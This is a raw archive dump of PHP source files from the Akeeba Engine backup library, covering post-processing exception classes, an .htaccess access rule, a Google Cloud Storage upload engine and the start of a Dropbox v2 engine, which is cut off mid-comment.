	/**
	 * Does this engine processes the files in a way that makes deleting the originals safe?
	 *
	 * @var bool
	 */
	protected $advisesDeletionAfterProcessing = true;

	/**
	 * Does this engine support remote file deletes?
	 *
	 * @var bool
	 */
	protected $supportsDelete = false;

	/**
	 * Does this engine support downloads to files?
	 *
	 * @var bool
	 */
	protected $supportsDownloadToFile = false;

	/**
	 * Does this engine support downloads to browser?
	 *
	 * @var bool
	 */
	protected $supportsDownloadToBrowser = false;

	/**
	 * Does this engine push raw data to the browser when downloading a file?
	 *
	 * Set to true if raw data will be dumped to the browser when downloading the file to the browser. Set to false if
	 * a URL is returned instead.
	 *
	 * @var bool
	 */
	protected $inlineDownloadToBrowser = false;

	/**
	 * The remote absolute path to the file which was just processed. Leave null if the file is meant to
	 * be non-retrievable, i.e. sent to email or any other one way service.
	 *
	 * @var string
	 */
	protected $remotePath = null;

	/**
	 * Whitelist of method names you can call using customAPICall().
	 *
	 * @var array
	 */
	protected $allowedCustomAPICallMethods = ['oauthCallback'];

	/**
	 * The connector object for this post-processing engine
	 *
	 * @var object|null
	 */
	private $connector;

	public function delete($path)
	{
		throw new DeleteNotSupported();
	}

	public function downloadToFile($remotePath, $localFile, $fromOffset = null, $length = null)
	{
		throw new DownloadToServerNotSupported();
	}

	public function downloadToBrowser($remotePath)
	{
		throw new DownloadToBrowserNotSupported();
	}

	public final function customAPICall($method, $params = [])
	{
		if (!in_array($method, $this->allowedCustomAPICallMethods) || !method_exists($this, $method))
		{
			header('HTTP/1.0 501 Not Implemented');

			exit();
		}

		return call_user_func_array([$this, $method], [$params]);
	}

	public function oauthOpen($params = [])
	{
		$callback = $params['callbackURI'] . '&method=oauthCallback';

		$url = $this->getOAuth2HelperUrl();
		$url .= (strpos($url, '?') !== false) ? '&' : '?';
		$url .= 'callback=' . urlencode($callback);
		$url .= '&dlid=' . urlencode(Platform::getInstance()->get_platform_configuration_option('update_dlid', ''));

		Platform::getInstance()->redirect($url);
	}

	/**
	 * Fetches the authentication token from the OAuth helper script, after you've run the first step of the OAuth
	 * authentication process. Must be overridden in subclasses.
	 *
	 * @param   array  $params
	 *
	 * @return  void
	 *
	 * @throws  OAuthNotSupported
	 */
	public function oauthCallback(array $params)
	{
		throw new OAuthNotSupported();
	}

	public function recommendsBreakBefore()
	{
		return $this->recommendsBreakBefore;
	}

	public function recommendsBreakAfter()
	{
		return $this->recommendsBreakAfter;
	}

	public function isFileDeletionAfterProcessingAdvisable()
	{
		return $this->advisesDeletionAfterProcessing;
	}

	public function supportsDelete()
	{
		return $this->supportsDelete;
	}

	public function supportsDownloadToFile()
	{
		return $this->supportsDownloadToFile;
	}

	public function supportsDownloadToBrowser()
	{
		return $this->supportsDownloadToBrowser;
	}

	public function doesInlineDownloadToBrowser()
	{
		return $this->inlineDownloadToBrowser;
	}

	public function getRemotePath()
	{
		return $this->remotePath;
	}

	/**
	 * Returns the URL to the OAuth2 helper script. Used by the oauthOpen method. Must be overridden in subclasses.
	 *
	 * @return  string
	 *
	 * @throws  OAuthNotSupported
	 */
	protected function getOAuth2HelperUrl()
	{
		throw new OAuthNotSupported();
	}

	/**
	 * Returns an instance of the connector object.
	 *
	 * @param   bool  $forceNew  Should I force the creation of a new connector object?
	 *
	 * @return  object  The connector object
	 *
	 * @throws  BadConfiguration  If there is a configuration error which prevents creating a connector object.
	 * @throws  Exception
	 */
	final protected function getConnector($forceNew = false)
	{
		if ($forceNew)
		{
			$this->resetConnector();
		}

		if (empty($this->connector))
		{
			$this->connector = $this->makeConnector();
		}

		return $this->connector;
	}

	/**
	 * Resets the connector.
	 *
	 * If the connector requires any special handling upon destruction you must handle it in its __destruct method.
	 *
	 * @return  void
	 */
	final protected function resetConnector()
	{
		$this->connector = null;
	}

	/**
	 * Creates a new connector object based on the engine configuration stored in the backup profile.
	 *
	 * Do not use this method directly. Use getConnector() instead.
	 *
	 * @return  object  The connector object
	 *
	 * @throws  BadConfiguration  If there is a configuration error which prevents creating a connector object.
	 * @throws  Exception  Any other error when creating or initializing the connector object.
	 */
	protected abstract function makeConnector();
}
PK     \t    E  vendor/akeeba/engine/engine/Postproc/Exception/DeleteNotSupported.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc\Exception;

defined('AKEEBAENGINE') || die();

/**
 * Indicates that the post-processing engine does not support deleting remotely stored files.
 */
class DeleteNotSupported extends EngineException
{
	protected $messagePrototype = 'The %s post-processing engine does not support deletion of backup archives.';
}
PK     \o    L  vendor/akeeba/engine/engine/Postproc/Exception/RangeDownloadNotSupported.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc\Exception;

defined('AKEEBAENGINE') || die();

/**
 * Indicates that the post-processing engine does not support range downloads.
 */
class RangeDownloadNotSupported extends EngineException
{
	protected $messagePrototype = 'The %s post-processing engine does not support range downloads of backup archives to the server.';
}
PK     \|~u    P  vendor/akeeba/engine/engine/Postproc/Exception/DownloadToBrowserNotSupported.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc\Exception;

defined('AKEEBAENGINE') || die();

/**
 * Indicates that the post-processing engine does not support downloading remotely stored files to the user's browser.
 */
class DownloadToBrowserNotSupported extends EngineException
{
	protected $messagePrototype = 'The %s post-processing engine does not support downloading of backup archives to the browser.';
}
PK     \D,ʴ    O  vendor/akeeba/engine/engine/Postproc/Exception/DownloadToServerNotSupported.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc\Exception;

defined('AKEEBAENGINE') || die();

/**
 * Indicates that the post-processing engine does not support downloading remotely stored files to the server
 */
class DownloadToServerNotSupported extends EngineException
{
	protected $messagePrototype = 'The %s post-processing engine does not support downloading of backup archives to the server.';
}
PK     \߸5    D  vendor/akeeba/engine/engine/Postproc/Exception/OAuthNotSupported.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc\Exception;

defined('AKEEBAENGINE') || die();

/**
 * Indicates that the post-processing engine does not support OAuth2 or similar redirection-based authentication with
 * the remote storage provider.
 */
class OAuthNotSupported extends EngineException
{
	protected $messagePrototype = 'The %s post-processing engine does not support opening an authentication window to the remote storage provider.';
}
PK     \E=W    C  vendor/akeeba/engine/engine/Postproc/Exception/BadConfiguration.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc\Exception;

defined('AKEEBAENGINE') || die();

use RuntimeException;

/**
 * Indicates an error with the post-processing engine's configuration
 */
class BadConfiguration extends RuntimeException
{
}
PK     \-G  G  B  vendor/akeeba/engine/engine/Postproc/Exception/EngineException.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc\Exception;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Postproc\Base;
use Exception;
use RuntimeException;
use Throwable;

class EngineException extends RuntimeException
{
	protected $messagePrototype = 'The %s post-processing engine has experienced an unspecified error.';

	/**
	 * Construct the exception. If a message is not defined the default message for the exception will be used.
	 *
	 * @param   string               $message   [optional] The Exception message to throw.
	 * @param   int                  $code      [optional] The Exception code.
	 * @param   Exception|Throwable  $previous  [optional] The previous throwable used for the exception chaining.
	 */
	public function __construct($message = "", $code = 0, $previous = null)
	{
		if (empty($message))
		{
			$engineName = $this->getEngineKeyFromBacktrace();
			$message    = sprintf($this->messagePrototype, $engineName);
		}

		parent::__construct($message, $code, $previous);
	}

	/**
	 * Returns the engine name (class name without the namespace) from the PHP execution backtrace.
	 *
	 * @return mixed|string
	 */
	protected function getEngineKeyFromBacktrace()
	{
		// Make sure the backtrace is at least 3 levels deep
		$backtrace = debug_backtrace(DEBUG_BACKTRACE_PROVIDE_OBJECT, 5);

		// We need to be at least two levels deep
		if (count($backtrace) < 2)
		{
			return 'current';
		}

		for ($i = 1; $i < count($backtrace); $i++)
		{
			// Get the fully qualified class
			$object = $backtrace[$i]['object'];

			// We need a backtrace element with an object attached.
			if (!is_object($object))
			{
				continue;
			}

			// If the object is not a Postproc\Base object go to the next entry.
			if (!($object instanceof Base))
			{
				continue;
			}

			// Get the bare class name
			$fqnClass  = $backtrace[$i]['class'];
			$parts     = explode('\\', $fqnClass);
			$bareClass = array_pop($parts);

			// Do not return the base object!
			if ($bareClass == 'Base')
			{
				continue;
			}

			return $bareClass;
		}

		return 'current';
	}
}
PK     \Sʉ      8  vendor/akeeba/engine/engine/Postproc/Exception/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \d*7  7  :  vendor/akeeba/engine/engine/Postproc/Googlestoragejson.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Factory;
use Akeeba\Engine\Postproc\Connector\GoogleStorage as ConnectorGoogleStorage;
use Akeeba\Engine\Postproc\Exception\BadConfiguration;
use Akeeba\Engine\Postproc\Exception\RangeDownloadNotSupported;
use Exception;
use RuntimeException;

class Googlestoragejson extends Base
{
	/**
	 * The retry count of this file (allow up to 2 retries after the first upload failure)
	 *
	 * @var int
	 */
	private $tryCount = 0;

	/**
	 * The currently configured bucket
	 *
	 * @var string
	 */
	private $bucket;

	/**
	 * The currently configured directory
	 *
	 * @var string
	 */
	private $directory;

	/**
	 * Are we using chunk uploads?
	 *
	 * @var bool
	 */
	private $isChunked = false;

	/**
	 * Chunk size (MB)
	 *
	 * @var int
	 */
	private $chunkSize = 10;

	/**
	 * The decoded Google Cloud JSON configuration file
	 *
	 * @var array
	 */
	private $config = [];

	public function __construct()
	{
		$this->supportsDownloadToBrowser = false;
		$this->supportsDelete            = true;
		$this->supportsDownloadToFile    = true;
	}

	public function processPart($localFilepath, $remoteBaseName = null)
	{
		if ($this->tryCount >= 2)
		{
			throw new RuntimeException(sprintf(
				"%s - Maximum number of retries exceeded. The upload has failed. Check the log file for more information.",
				__METHOD__
			), 500);
		}

		// Do NOT remove. This is necessary to set up $this->directory used below.
		/** @var ConnectorGoogleStorage $connector */
		$connector = $this->getConnector();

		/**
		 * Store the absolute remote path in the object property.
		 *
		 * Something interesting. When the directory is empty (saving at the bucket's root) we MUST NOT use a slash
		 * prefix. This means that the remotePath /foobar.jpa IS WRONG. The correct is foobar.jpa without a leading
		 * slash. Hence the $directoryGlue variable below.
		 */
		$directory        = $this->directory;
		$basename         = empty($remoteBaseName) ? basename($localFilepath) : $remoteBaseName;
		$directoryGlue    = empty($directory) ? '' : '/';
		$this->remotePath = $directory . $directoryGlue . $basename;

		// Get a reference to the engine configuration
		$config = Factory::getConfiguration();

		// Check if the size of the file is compatible with chunked uploading
		clearstatcache();
		$totalSize   = filesize($localFilepath);
		$isBigEnough = $this->isChunked ? ($totalSize > $this->chunkSize) : false;

		// Chunked uploads if the feature is enabled and the file is at least as big as the chunk size.
		if ($this->isChunked && $isBigEnough)
		{
			return $this->multipartUpload($localFilepath, $totalSize);
		}

		// Single part upload
		return $this->simpleUpload($localFilepath);
	}

	public function downloadToFile($remotePath, $localFile, $fromOffset = null, $length = null)
	{
		if (!is_null($fromOffset))
		{
			// Ranges are not supported
			throw new RangeDownloadNotSupported();
		}

		/** @var ConnectorGoogleStorage $connector */
		$connector = $this->getConnector();

		// Download the file
		$connector->download($this->bucket, $remotePath, $localFile);
	}

	public function delete($path)
	{
		/** @var ConnectorGoogleStorage $connector */
		$connector = $this->getConnector();

		$connector->delete($this->bucket, $path, true);
	}

	protected function makeConnector()
	{
		// Retrieve engine configuration data
		$config = Factory::getConfiguration();

		// Try to load and parse the Google JSON configuration
		$this->parseJsonConfig();

		$this->isChunked  = $config->get('engine.postproc.googlestoragejson.chunk_upload', true);
		$this->chunkSize  = $config->get('engine.postproc.googlestoragejson.chunk_upload_size', 10) * 1024 * 1024;
		$this->bucket     = $config->get('engine.postproc.googlestoragejson.bucket', null);
		$defaultDirectory = $config->get('engine.postproc.googlestoragejson.directory', '');
		$this->directory  = $config->get('volatile.postproc.directory', $defaultDirectory);

		// Environment checks
		if (!function_exists('curl_init'))
		{
			throw new BadConfiguration('cURL is not enabled, please enable it in order to post-process your archives');
		}

		if (!function_exists('openssl_sign') || !function_exists('openssl_get_md_methods'))
		{
			throw new BadConfiguration('The PHP module for OpenSSL integration is not enabled or openssl_sign() is disabled. Please contact your host and ask them to fix this issue for the version of PHP you are currently using on your site (PHP reports itself as version ' . PHP_VERSION . ').');
		}

		$openSSLAlgos = openssl_get_md_methods(true);

		if (!in_array('sha256WithRSAEncryption', $openSSLAlgos))
		{
			throw new BadConfiguration('The PHP module for OpenSSL integration does not support the sha256WithRSAEncryption signature algorithm. Please ask your host to compile BOTH a newer version of the OpenSSL library AND the OpenSSL module for PHP against this (new) OpenSSL library for the version of PHP you are currently using on your site (PHP reports itself as version ' . PHP_VERSION . ').');
		}

		// Fix the directory name, if required
		$this->directory = empty($this->directory) ? '' : $this->directory;
		$this->directory = trim($this->directory);
		$this->directory = ltrim(Factory::getFilesystemTools()->TranslateWinPath($this->directory), '/');
		$this->directory = Factory::getFilesystemTools()->replace_archive_name_variables($this->directory);
		$config->set('volatile.postproc.directory', $this->directory);

		return new ConnectorGoogleStorage($this->config['client_email'], $this->config['private_key']);
	}

	/**
	 * Tries to read the Google Cloud JSON credentials from the configuration.
	 *
	 * @return  void
	 *
	 * @throws  RuntimeException  If the JSON credentials are missing or can not  be parsed.
	 */
	private function parseJsonConfig()
	{
		$config = Factory::getConfiguration();

		$hasJsonConfig = false;
		$jsonConfig    = trim($config->get('engine.postproc.googlestoragejson.jsoncreds', ''));
		$jsonConfig    = $this->fixStoredJSON($jsonConfig);

		if (!empty($jsonConfig))
		{
			$hasJsonConfig = true;
			$this->config  = @json_decode($jsonConfig, true);
		}

		if (empty($this->config))
		{
			$hasJsonConfig = false;
		}

		if ($hasJsonConfig && (
				!isset($this->config['type']) ||
				!isset($this->config['project_id']) ||
				!isset($this->config['private_key']) ||
				!isset($this->config['client_email'])
			)
		)
		{
			$hasJsonConfig = false;
		}

		if ($hasJsonConfig && (
				($this->config['type'] != 'service_account') ||
				(empty($this->config['project_id'])) ||
				(empty($this->config['private_key'])) ||
				(empty($this->config['client_email']))
			)
		)
		{
			$hasJsonConfig = false;
		}

		if (!$hasJsonConfig)
		{
			$this->config = [];
			throw new RuntimeException('You have not provided a valid Google Cloud JSON configuration (googlestorage.json) in the configuration page. As a result I cannot connect to Google Storage.');
		}
	}

	/**
	 * The Google JSON API file has the string literal "\n" inside the Private Key. However, the INI parser will
	 * unescape this into a newline character. This causes a newline character to appear inside a string literal in the
	 * JSON file, therefore rendering the JSON invalid.
	 *
	 * Before Akeeba Engine 6.3.4 we used to deal with that by using the PHP INI parser in INI_SCANNER_NORMAL mode.
	 * However, this caused some problems, e.g. with the sequence \$ being squashed to $. The correct solution is using
	 * INI_SCANNER_RAW. However, this does not expand \n in values which is something we need elsewhere in the Engine.
	 *
	 * We needed to do this because before 6.3.4 if your server had disabled parse_ini_string our PHP-based parser would
	 * yield different results than calling PHP's parse_ini_file(). This also meant that on these hosts Google Storage
	 * JSON API was broken.
	 *
	 * The only solution is having this method which recodes the private key in a way that the JSON is valid and the
	 * private key is also usable with Google's API.
	 *
	 * @param   string  $jsonConfig
	 *
	 * @return  string
	 */
	private function fixStoredJSON($jsonConfig)
	{
		// Remove all newlines
		$jsonConfig = str_replace("\n", '', $jsonConfig);

		// Extract the private key
		$startPos = strpos($jsonConfig, '-----BEGIN PRIVATE KEY-----');
		$endPos   = strpos($jsonConfig, '-----END PRIVATE KEY-----') + 25;
		$pk       = substr($jsonConfig, $startPos, $endPos - $startPos);

		// Recode the private key
		$innerPK = trim(substr($pk, 27, -25));
		$innerPK = implode("\\n", str_split($innerPK, 64));
		$pk      = "-----BEGIN PRIVATE KEY-----\\n" . $innerPK . "\\n-----END PRIVATE KEY-----";
		$pk      = str_replace("\\n\\n", "\\n", $pk);

		// Assemble a usable JSON string
		return rtrim(substr($jsonConfig, 0, $startPos)) . $pk . ltrim(substr($jsonConfig, $endPos));
	}

	/**
	 * Performs a multipart (chunked) upload.
	 *
	 * @param   string  $localFilepath  The path to the local file we'll be uploading.
	 * @param   int     $totalSize      The total size of the file, in bytes.
	 *
	 * @return  bool  True if the upload is complete, false if more work is necessary
	 * @throws  Exception  If an upload error occurs
	 */
	private function multipartUpload($localFilepath, $totalSize)
	{
		/** @var ConnectorGoogleStorage $connector */
		$connector = $this->getConnector();

		// Get a reference to the engine configuration
		$config = Factory::getConfiguration();

		Factory::getLog()->debug(sprintf(
			"%s - Using chunked upload, part size %d",
			__METHOD__, $this->chunkSize
		));

		$offset    = $config->get('volatile.engine.postproc.googlestoragejson.offset', 0);
		$upload_id = $config->get('volatile.engine.postproc.googlestoragejson.upload_id', null);

		if (empty($upload_id))
		{
			Factory::getLog()->debug(sprintf(
				"%s - Creating new upload session",
				__METHOD__
			));

			try
			{
				$storageClass = $config->get('engine.postproc.googlestoragejson.storageclass', null, false);
				$upload_id    = $connector->createUploadSession($this->bucket, $this->remotePath, $localFilepath, $storageClass);
			}
			catch (Exception $e)
			{
				// Note: do not pass the parent exception; it's a simple RuntimeException
				throw new RuntimeException(sprintf("The upload session for remote file %s cannot be created", $this->remotePath));
			}

			Factory::getLog()->debug(sprintf(
				"%s - New upload session $upload_id",
				__METHOD__
			));

			$config->set('volatile.engine.postproc.googlestoragejson.upload_id', $upload_id);
		}

		try
		{
			if (empty($offset))
			{
				$offset = 0;
			}

			Factory::getLog()->debug(sprintf(
				"%s - Uploading chunked part",
				__METHOD__
			));

			$result = $connector->uploadPart($upload_id, $localFilepath, $offset, $this->chunkSize);

			Factory::getLog()->debug(sprintf(
				"%s - Got uploadPart result %s",
				__METHOD__, print_r($result, true)
			));
		}
		catch (Exception $e)
		{
			Factory::getLog()->debug(sprintf(
				"%s - Got uploadPart Exception %s: %s",
				__METHOD__, $e->getCode(), $e->getMessage()
			));

			// Let's retry
			$this->tryCount++;

			// However, if we've already retried twice, we stop retrying and call it a failure
			if ($this->tryCount > 2)
			{
				throw new RuntimeException(sprintf(
					"%s - Maximum number of retries exceeded. The upload has failed.",
					__METHOD__
				), 500, $e);
			}

			Factory::getLog()->debug(sprintf(
				"%s - Error detected, retrying chunk upload",
				__METHOD__
			));

			return false;
		}

		// Are we done uploading?
		$nextOffset = $offset + $this->chunkSize - 1;

		if (isset($result['name']) || ($nextOffset > $totalSize))
		{
			Factory::getLog()->debug(sprintf(
				"%s - Chunked upload is now complete", __METHOD__
			));

			$config->set('volatile.engine.postproc.googlestoragejson.offset', null);
			$config->set('volatile.engine.postproc.googlestoragejson.upload_id', null);

			$this->tryCount = 0;

			return true;
		}

		// Otherwise, continue uploading
		$config->set('volatile.engine.postproc.googlestoragejson.offset', $offset + $this->chunkSize);

		return false;
	}

	/**
	 * Performs a single part upload
	 *
	 * @param   string  $localFilepath
	 *
	 * @return  bool  True if the upload is complete, false if more work is necessary
	 * @throws  Exception  If an upload error occurs
	 */
	private function simpleUpload($localFilepath)
	{
		/** @var ConnectorGoogleStorage $connector */
		$connector = $this->getConnector();

		try
		{
			Factory::getLog()->debug(sprintf("%s - Performing simple upload.", __METHOD__));

			$storageClass = Factory::getConfiguration()->get('engine.postproc.googlestoragejson.storageclass', null, false);

			$connector->simpleUpload($this->bucket, $this->remotePath, $localFilepath, $storageClass);
		}
		catch (Exception $e)
		{
			Factory::getLog()->debug(sprintf("%s - Simple upload failed, %s: %s", __METHOD__, $e->getCode(), $e->getMessage()));

			// Let's retry
			$this->tryCount++;

			// However, if we've already retried twice, we stop retrying and call it a failure
			if ($this->tryCount > 2)
			{
				throw new RuntimeException(sprintf("%s - Maximum number of retries exceeded. The upload has failed.", __METHOD__), 500, $e);
			}

			Factory::getLog()->debug(sprintf("%s - Error detected, retrying upload", __METHOD__));

			return false;
		}

		// Upload complete. Reset the retry counter.
		$this->tryCount = 0;

		return true;
	}
}
PK     \-F  F  1  vendor/akeeba/engine/engine/Postproc/Dropbox2.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Base\Exceptions\ErrorException;
use Akeeba\Engine\Configuration;
use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use Akeeba\Engine\Postproc\Connector\Dropbox2 as ConnectorDropboxV2;
use Akeeba\Engine\Postproc\Exception\BadConfiguration;
use Akeeba\Engine\Postproc\Exception\RangeDownloadNotSupported;
use Exception;
use RuntimeException;

class Dropbox2 extends Base
{
	/**
	 * The retry count of this file (allow up to 2 retries after the first upload failure)
	 *
	 * @var int
	 */
	private $tryCount = 0;

	/**
	 * The currently configured directory
	 *
	 * @var string
	 */
	private $directory;

	/**
	 * Are we using chunk uploads?
	 *
	 * @var bool
	 */
	private $chunked = false;

	/**
	 * Chunk size (MB)
	 *
	 * @var int
	 */
	private $chunk_size = 10;

	public function __construct()
	{
		$this->supportsDownloadToBrowser = true;
		$this->supportsDelete            = true;
		$this->supportsDownloadToFile    = true;
	}

	public function oauthCallback(array $params)
	{
		$input = $params['input'];
		$data  = (object) [
			'access_token'  => $input['access_token'],
			'refresh_token' => $input['refresh_token'],
		];

		$serialisedData = json_encode($data);

		return <<< HTML
<script type="application/javascript">
	window.opener.akeeba_dropbox2_oauth_callback($serialisedData);
</script>
HTML;
	}

	public function processPart($localFilepath, $remoteBaseName = null)
	{
		/** @var ConnectorDropboxV2 $connector */
		$connector = $this->getConnector();
		$config    = Factory::getConfiguration();

		// Store the absolute remote path in the class property
		$directory        = $this->directory;
		$basename         = empty($remoteBaseName) ? basename($localFilepath) : $remoteBaseName;
		$this->remotePath = $directory . '/' . $basename;

		// Have I already made sure the remote directory exists?
		$haveCheckedRemoteDirectory = $config->get('volatile.engine.postproc.dropbox2.check_directory', 0);

		if (!$haveCheckedRemoteDirectory)
		{
			try
			{
				$this->pingAndPersist($connector);
				$connector->makeDirectory($directory);
				$config->set('volatile.engine.postproc.dropbox2.check_directory', 1);
			}
			catch (Exception $e)
			{
				throw new RuntimeException(sprintf("Could not create Dropbox directory %s.", $directory), 500, $e);
			}
		}

		// Get the remote file's pathname. Use the resolved $basename (which honours an explicit $remoteBaseName) rather
		// than re-deriving it from the local file path; otherwise the file is stored under the local (temporary) file
		// name and every subsequent lookup (download, delete, metadata, listing) by the reported remote path fails.
		$remotePath = trim($directory, '/') . '/' . $basename;

		// Check if the size of the file is compatible with chunked uploading
		clearstatcache();
		$totalSize   = filesize($localFilepath);
		$isBigEnough = $this->chunked ? ($totalSize > $this->chunk_size) : false;

		// Chunked uploads if the feature is enabled and the file is at least as big as the chunk size.
		if ($this->chunked && $isBigEnough)
		{
			return $this->processPartChunked($config, $localFilepath, $remotePath, $totalSize);
		}

		// Single part upload
		return $this->processPartSingleUpload($localFilepath, $remotePath);
	}

	public function downloadToFile($remotePath, $localFile, $fromOffset = null, $length = null)
	{
		/** @var ConnectorDropboxV2 $connector */
		$connector = $this->getConnector();

		if (!is_null($fromOffset))
		{
			throw new RangeDownloadNotSupported();
		}

		// Download the file
		$this->pingAndPersist($connector);
		$connector->download($remotePath, $localFile);

		return true;
	}

	public function downloadToBrowser($remotePath)
	{
		/** @var ConnectorDropboxV2 $connector */
		$connector = $this->getConnector();
		$this->pingAndPersist($connector);

		return $connector->getAuthenticatedUrl($remotePath);
	}

	public function delete($path)
	{
		/** @var ConnectorDropboxV2 $connector */
		$connector = $this->getConnector();
		$this->pingAndPersist($connector);

		$connector->delete($path);
	}

	protected function getOAuth2HelperUrl()
	{
		$config           = Factory::getConfiguration();
		$oauth2HelperType = $config->get('engine.postproc.dropbox2.oauth2_type', 'akeeba');

		switch ($oauth2HelperType)
		{
			case 'custom':
				return $config->get('engine.postproc.dropbox2.oauth2_helper', '');

			default:
				return ConnectorDropboxV2::helperUrl;
		}
	}

	/**
	 * Returns the Dropbox configuration settings
	 *
	 * @return  array
